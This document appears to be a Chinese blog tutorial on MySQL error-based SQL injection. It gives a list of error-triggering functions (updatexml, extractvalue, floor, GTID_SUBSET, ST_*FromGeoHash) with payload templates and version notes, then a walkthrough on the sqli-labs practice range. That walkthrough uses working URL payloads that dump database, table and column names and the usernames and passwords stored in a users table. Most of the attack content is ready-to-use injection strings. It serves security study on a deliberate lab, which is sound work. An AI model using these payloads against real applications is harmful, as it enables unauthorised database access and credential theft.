目录
报错函数
ST_LatFromGeoHash()
(注:mysql>=5.7.x)
格式
ST_LatFromGeoHash(concat(0x7e,注入语句,0x7e))
ST_LongFromGeoHash()
(注:mysql>=5.7.x)
格式
ST_LongFromGeoHash(concat(0x7e,注入语句,0x7e))
GTID_SUBSET()
(注:mysql>=5.6.x)
格式
gtid_subset(concat(0x7e,注入语句,0x7e),1)
GTID_SUBTRACT
(注:mysql>=5.6.x)
格式
gtid_subtract(concat(0x7e,注入语句,0x7e),1)
floor
(注:8.x>mysql>5.0)
格式
(select 1 from (select count(*),concat(注入语句,floor(rand(0)*2))x from information_schema.tables group by x)a)
ST_Pointfromgeohash
(注:mysql>=5.7)
格式
ST_PointFromGeoHash(注入语句,1)
updatexml
这个报错长度是由一定限度的
格式
updatexml(1,concat(0x7e,注入语句,0x7e),1)
extractvalue
格式
extractvalue(1,concat(0x7e,database(),0x7e))
实验环境
sqli-LABS靶场第一关
开始实验
报错注入和使用union注入流程一致不过是吧其中的union替换成报错函数
例子(以updataxml作为例子)
首先爆出数据库名
爆出表名
但是由于updataxml报错长度有一定限制,有可能报错出来的数据不全。我们可以使用limit来查看是否将所有表名全部爆出(上面的例子爆出来的数据是全的,下面是演示如何用limit爆出来数据)
limit爆数据
注:在使用limit时要将group_concat去掉
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema ='security' limit 1,1),0x7e),1)
逐渐修改limit的值最终将所有表名爆出来
爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users' limit 0,1),0x7e),1)
这个也可能会出现报错不够的情况 ,再使用limit
爆数据
这次爆数据时就出现了报错不够的情况,可以使用limit来爆出剩下的数据
id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+
不嫌弃的点点关注,点点赞 ଘ(੭ˊᵕˋ)੭* ੈ✩‧₊˚